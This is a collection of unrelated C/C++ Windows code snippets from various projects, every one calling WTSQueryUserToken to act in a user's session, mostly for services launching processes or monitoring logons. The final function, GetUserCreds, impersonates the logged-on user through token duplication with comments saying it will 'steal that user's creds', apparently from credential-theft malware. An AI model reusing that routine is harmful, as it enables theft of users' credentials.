BOOL ExecMyself( LPCTSTR lpCommandLine ) { DWORD dwSession, r; HANDLE hToken; LPVOID lpEnv; STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; TCHAR szApplicationName[ 1024 ]; TCHAR szCommandLine[ 1024 ]; r = GetModuleFileName( NULL, szApplicationName, _countof( szApplicationName ) ); if( r == 0 || r >= _countof( szApplicationName ) ){ DebugMsg( _T("GetModuleFileName:%d"), GetLastError() ); return FALSE; } if( StringCchPrintf( szCommandLine, _countof( szCommandLine ), _T("\"%s\" %s"), szApplicationName, lpCommandLine ) != S_OK ) return FALSE; dwSession = WTSGetActiveConsoleSessionId(); if( dwSession == 0xFFFFFFFF ){ DebugMsg( _T("WTSGetActiveConsoleSessionId:%d"), GetLastError() ); return FALSE; } if( !WTSQueryUserToken( dwSession, &hToken ) ){ DebugMsg( _T("WTSQueryUserToken:%d"), GetLastError() ); return FALSE; } if( !CreateEnvironmentBlock( &lpEnv, hToken, FALSE ) ){ DebugMsg( _T("CreateEnvironmentBlock:%d"), GetLastError() ); return FALSE; } ZeroMemory( &startupInfo, sizeof(STARTUPINFO) ); startupInfo.cb = sizeof(STARTUPINFO); startupInfo.lpDesktop = _T( "winsta0\\default" ); if( !CreateProcessAsUser( hToken, szApplicationName, szCommandLine, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, lpEnv, NULL, &startupInfo, &processInformation) ) { DebugMsg( _T("CreateProcessAsUser:%d"), GetLastError() ); return FALSE; } CloseHandle(processInformation.hThread); CloseHandle(processInformation.hProcess); return TRUE; }
static void StartStartMenu( DWORD sessionId ) { // run the classic start menu on logon HANDLE hUser; if (WTSQueryUserToken(sessionId,&hUser)) { STARTUPINFO startupInfo={sizeof(STARTUPINFO),NULL,L"Winsta0\\Default"}; PROCESS_INFORMATION processInfo; wchar_t path[_MAX_PATH]; GetModuleFileName(NULL,path,_countof(path)); PathRemoveFileSpec(path); PathAppend(path,L"ClassicStartMenu.exe -startup"); LogText("Starting process: %S\n",path); if(CreateProcessAsUser(hUser,NULL,path,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS,NULL,NULL,&startupInfo,&processInfo)) { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); } else { int err=GetLastError(); LogText("CreateProcessAsUser failed: %d\n",err); } CloseHandle(hUser); } else { int err=GetLastError(); LogText("WTSQueryUserToken failed: %d\n",err); } }
Token Token::from_session(const Session& session) { HANDLE h = nullptr; if (FALSE != WTSQueryUserToken(static_cast<DWORD>(session.id()), &h)) { return std::move(Token(h)); } throw Poco::SystemException("failed to obtain session token", GetLastError()); }
HANDLE GetLoggedOnUserToken( OUT PWCHAR userName, IN DWORD cchUserName // at least UNLEN WCHARs ) { DWORD consoleSessionId; HANDLE userToken, duplicateToken; DWORD nameSize = UNLEN; consoleSessionId = WTSGetActiveConsoleSessionId(); if (0xFFFFFFFF == consoleSessionId) { LogWarning("no active console session"); return NULL; } if (!WTSQueryUserToken(consoleSessionId, &userToken)) { LogDebug("no user is logged on"); return NULL; } // create a primary token (needed for logon) if (!DuplicateTokenEx( userToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &duplicateToken)) { perror("DuplicateTokenEx"); CloseHandle(userToken); return NULL; } CloseHandle(userToken); if (!ImpersonateLoggedOnUser(duplicateToken)) { perror("ImpersonateLoggedOnUser"); CloseHandle(duplicateToken); return NULL; } if (!GetUserName(userName, &cchUserName)) { perror("GetUserName"); userName[0] = 0; } RevertToSelf(); return duplicateToken; }
HANDLE MSWindowsSession::getUserToken(LPSECURITY_ATTRIBUTES security) { HANDLE sourceToken; if (!WTSQueryUserToken(m_activeSessionId, &sourceToken)) { LOG((CLOG_ERR "could not get token from session %d", m_activeSessionId)); throw XArch(new XArchEvalWindows); } HANDLE newToken; if (!DuplicateTokenEx( sourceToken, TOKEN_ASSIGN_PRIMARY | TOKEN_ALL_ACCESS, security, SecurityImpersonation, TokenPrimary, &newToken)) { LOG((CLOG_ERR "could not duplicate token")); throw XArch(new XArchEvalWindows); } LOG((CLOG_DEBUG "duplicated, new token: %i", newToken)); return newToken; }
// ------------------------------------------------------------------------ VOID WINAPI ServiceCtrlHandlerEx( DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext){// callback-функция, вызывается ОС WTSSESSION_NOTIFICATION *wn; HANDLE hToken; // ------------------------- switch( dwControl ){ case SERVICE_CONTROL_SESSIONCHANGE: wn = (WTSSESSION_NOTIFICATION*)lpEventData; if( WTSQueryUserToken( wn->dwSessionId, &hToken )) entering_info( wn->dwSessionId, dwEventType, hToken, lpContext ); break; // -- case SERVICE_CONTROL_STOP: send_sm_string( "SM;SyMon;STOP;!" ); prn_log( "WARNING! STOP SERVICE." ); kill_all_user_proc(); JOB = 3; prn_log( "End." ); sleep(1); service_status.dwCurrentState = SERVICE_STOPPED; SetServiceStatus(hServiceStatus, &service_status); break; // -- case SERVICE_CONTROL_SHUTDOWN: send_sm_string( "SM;SYSTEM;SHUTDOWN;!" ); prn_log( "WARNING! SYSTEM SHUTDOWN." ); kill_all_user_proc(); prn_log( "End." ); sleep(1); service_status.dwCurrentState = SERVICE_STOPPED; SetServiceStatus(hServiceStatus, &service_status); break; // -- default: ++service_status.dwCheckPoint; SetServiceStatus(hServiceStatus, &service_status); break; } return; }
// ------------------------------------------------------------------------ // ------------------------------------------------------------------------ VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv){ sprintf( msg_err, "ServiceMain - init." ); DWORD xParam = 1; JOB = 1; // -- hServiceStatus = RegisterServiceCtrlHandlerEx( service_name, (LPHANDLER_FUNCTION_EX)ServiceCtrlHandlerEx, (PVOID)&xParam ); if( !hServiceStatus ){ prn_err( "RegisterServiceCtrlHandlerEx failed.", GetLastError() ); return; } // init service_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; service_status.dwCurrentState = SERVICE_START_PENDING; service_status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_SESSIONCHANGE; service_status.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR; service_status.dwServiceSpecificExitCode = 0; service_status.dwCheckPoint = 0; service_status.dwWaitHint = 5000; if( !SetServiceStatus( hServiceStatus, &service_status )){ prn_err( "SetServiceStatus 'NULL' failed.", GetLastError() ); return; } // Rabota service_status.dwCurrentState = SERVICE_RUNNING; service_status.dwWin32ExitCode = NO_ERROR; // Set New if( !SetServiceStatus( hServiceStatus, &service_status )){ prn_err( "SetServiceStatus 'SERVICE_START_PENDING' failed.", GetLastError() ); return; } // -- usleep(10000); // ------------------------------------------------------------------------ prn_log( "." ); SetPriorityClass( GetCurrentProcess(), HIGH_PRIORITY_CLASS ); prn_log( "START SERVICE." ); // --------------------------------- if( !init_conf( service_work, service_name, &conf )){ // возврат всегда "1" prn_err( "Init config-data failed. This message can not be", 0 ); }else{ if( strcasecmp( conf.log_debug, "Off" ) == 0 ) DEBUG = 0; else prn_log( "Logger - DEBUG" ); // -- if( strcasecmp( conf.user_proc, "0" ) == 0 ) prn_log( "WARNING! User Process - disabled." ); if( strcasecmp( conf.maintenance, "0" ) == 0 ) prn_log( "WARNING! Maintenances - disabled." ); if( strcasecmp( conf.git_exec, "0" ) == 0 ) prn_log( "WARNING! Git status - disabled." ); } // -- JOB = 2; // Создаем поток логирования cygwin (сокет /dev/log) для ssh-сессий HANDLE hCygWinLogThread = CreateThread( NULL, 0, &CygWinLogThread, (LPVOID)&conf, 0, NULL ); if( !hCygWinLogThread ){ prn_err( "LogSocket: Create CygWinLogThread - failed.", GetLastError() ); } // --------------------------------- JOB = 3; if( !open_send( conf.zbx_server, conf.zbx_port, conf.zbx_host )){ prn_log( "WARNING! Sender not available: Maintenances - will not be available." ); strcpy( conf.maintenance, "0" ); } // --------------------------------- JOB = 22; // потоки обслуживания // HANDLE hGTimeThread = CreateThread( NULL, 0, >imeThread, NULL, 0, NULL );// поток // --------------------------------- usleep(10000); JOB = 101; send_sm_string( "SM;SyMon;START;!" ); // -- // проверка активных сессий DWORD pCount; HANDLE hToken; PWTS_SESSION_INFO ppSessionInfo = NULL; HANDLE hTS = WTSOpenServer( "" ); // -- if( WTSEnumerateSessions(hTS, 0, 1, &ppSessionInfo, &pCount )){ while( pCount ){ if( ppSessionInfo->State == 0 ){ if( WTSQueryUserToken( ppSessionInfo->SessionId, &hToken )) entering_info( ppSessionInfo->SessionId, 5, hToken, NULL ); else prn_err( "WTS Token failed.", GetLastError() ); } ppSessionInfo++; pCount--; } } // ----------------------------------- while( JOB > 100 ){ // главный цикл git_test(); // выполнение отложенных (тормозных) функций sleep(1); } // -- // CloseHandle( hGTimeThread ); sleep( 2 ); close_send(); sprintf( msg_err, "ServiceMain - return." ); // ------------------------------------------------------------------------ }
BOOL CreateInteractiveProcess(DWORD dwSessionId, PWSTR pszCommandLine, BOOL fWait, DWORD dwTimeout, DWORD *pExitCode) { DWORD dwError = ERROR_SUCCESS; HANDLE hToken = NULL; LPVOID lpvEnv = NULL; wchar_t szUserProfileDir[MAX_PATH]; DWORD cchUserProfileDir = ARRAYSIZE(szUserProfileDir); STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; DWORD dwWaitResult; // Obtain the primary access token of the logged-on user specified by the // session ID. if (!WTSQueryUserToken(dwSessionId, &hToken)) { dwError = GetLastError(); goto Cleanup; } // Run the command line in the session that we found by using the default // values for working directory and desktop. // This creates the default environment block for the user. if (!CreateEnvironmentBlock(&lpvEnv, hToken, TRUE)) { dwError = GetLastError(); goto Cleanup; } // Retrieve the path to the root directory of the user's profile. if (!GetUserProfileDirectory(hToken, szUserProfileDir, &cchUserProfileDir)) { dwError = GetLastError(); goto Cleanup; } // Specify that the process runs in the interactive desktop. si.lpDesktop = L"winsta0\\default"; // Launch the process. if (!CreateProcessAsUser(hToken, NULL, pszCommandLine, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, lpvEnv, szUserProfileDir, &si, &pi)) { dwError = GetLastError(); goto Cleanup; } if (fWait) { // Wait for the exit of the process. dwWaitResult = WaitForSingleObject(pi.hProcess, dwTimeout); if (dwWaitResult == WAIT_OBJECT_0) { // If the process exits before timeout, get the exit code. GetExitCodeProcess(pi.hProcess, pExitCode); } else if (dwWaitResult == WAIT_TIMEOUT) { // If it times out, terminiate the process. TerminateProcess(pi.hProcess, IDTIMEOUT); *pExitCode = IDTIMEOUT; } else { dwError = GetLastError(); goto Cleanup; } } else { *pExitCode = IDASYNC; } Cleanup: // Centralized cleanup for all allocated resources. if (hToken) { CloseHandle(hToken); hToken = NULL; } if (lpvEnv) { DestroyEnvironmentBlock(lpvEnv); lpvEnv = NULL; } if (pi.hProcess) { CloseHandle(pi.hProcess); pi.hProcess = NULL; } if (pi.hThread) { CloseHandle(pi.hThread); pi.hThread = NULL; } // Set the last error if something failed in the function. if (dwError != ERROR_SUCCESS) { SetLastError(dwError); return FALSE; } else { return TRUE; } }
// // Impersonate the currently logged on user, // and then steal that user's creds // VOID GetUserCreds(VOID){ CHAR UserName[128] = {0}; LPSTR LoggedOnUserName = NULL; DWORD dwUserNameLen = 128; HANDLE hToken= NULL; DBGPrint("Called\n"); //Impersonate user DWORD dwSessionID = WTSGetActiveConsoleSessionId(); if ( dwSessionID == 0xFFFFFFFF ) { DBGPrint("WTSGetActiveConsoleSessionId failed. 0x%x\n", GetLastError()); return; } //Current user dwUserNameLen = 128; if(GetUserName(UserName,&dwUserNameLen) ){ DBGPrint("Current user is: <%s> \n",UserName); } //Get the name of the logged in user if(!WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE,dwSessionID,WTSUserName,&LoggedOnUserName,&dwUserNameLen )) { DBGPrint("WTSQuerySessionInformation failed. 0x%x\n",GetLastError()); return; } DBGPrint("LoggedOnUserName. %s\n",LoggedOnUserName); //Get the token of the logged in user if ( !WTSQueryUserToken( dwSessionID, &hToken ) ) { DBGPrint( "WTSQueryUserToken failed. 0x%x\n", GetLastError( ) ); return; } // duplicate the token HANDLE hDuplicated = NULL; if ( !DuplicateToken( hToken, SecurityImpersonation, &hDuplicated ) ) { DBGPrint( "DuplicateToken failed. 0x%x\n", GetLastError( ) ); CloseHandle( hToken ); return; } if(ImpersonateLoggedOnUser(hDuplicated) != TRUE){ DBGPrint("ImpersonateLoggedOnUser Failed\n"); CloseHandle( hToken); CloseHandle(hDuplicated); return; } //steal creds GetCredsForCurrentUser(NULL); //Restore user RevertToSelf(); //Free duplicated token if( hDuplicated){ CloseHandle( hDuplicated ); } //Free original token if(hToken){ CloseHandle( hToken ); } //Free logged in user name if(LoggedOnUserName){ WTSFreeMemory(LoggedOnUserName); } DBGPrint("Returning\n"); }